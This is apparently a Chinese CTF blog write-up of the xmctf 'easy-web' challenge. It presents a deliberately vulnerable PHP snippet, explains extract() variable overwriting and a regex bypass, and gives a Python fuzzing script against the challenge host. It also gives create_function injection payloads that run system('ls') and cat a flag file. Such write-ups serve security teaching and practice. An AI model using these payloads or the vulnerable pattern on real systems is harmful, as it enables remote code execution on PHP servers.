xmctf-web-easy-web-wp

本文介绍了一个包含PHP安全漏洞的示例代码,并展示了如何通过构造特定的输入绕过正则表达式检查来触发潜在的安全问题。文章还提供了使用create_function进行攻击的payload示例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

easy-web

源代码

源代码贴上,如下:

 <?php
show_source(__FILE__);
$key = "bad";
extract($_POST);
if($key === 'bad'){
    die('badbad!!!');
}
$act = @$_GET['act'];
$arg = @$_GET['arg'];
if(preg_match('/^[a-z0-9_]*$/isD',$act)) {
    echo 'check';
} else {
    $act($arg,'');
}

echo '666';
badbad!!!

函数

函数名描述
show_source()
highlight_file()
语法高亮
extract()从数组中将变量导入到当前的符号表。
使用数组键名作为变量名,使用数组键值作为变量值。
针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
该函数返回成功设置的变量数目。

正则表达式

pattern描述
/i不区分大小写
/s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[\f\n\r\t\v]
/D如果使用$限制结尾字符,则不允许结尾有换行

绕过

fuzz

import requests
data={'key':123}#任意post一个key
for i in range(1,256):
    h=hex(i)[2:]
    if len(h)<2:
        h='0'+h
    h='%'+h
    url='http://447-9fedb10a-22a3-46e0-a47a-06f5fd752e54.xmctf.top:8849/?act='+h+'var_dump&arg=111'
    r=requests.post(url,data=data)
    if '111' in r.text:
        print(h)
        break

create_function()

使用匿名函数来饶过正则表达式

payload

# 原始
act=\create_function&arg=){}要执行的代码;//
# 列出当前目录下的文件
act=\create_function&arg=){return 123;}system('ls .../');//
# 查看flag
act=\create_function&arg=){return 123;}system('cat /ffflll4g');//
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值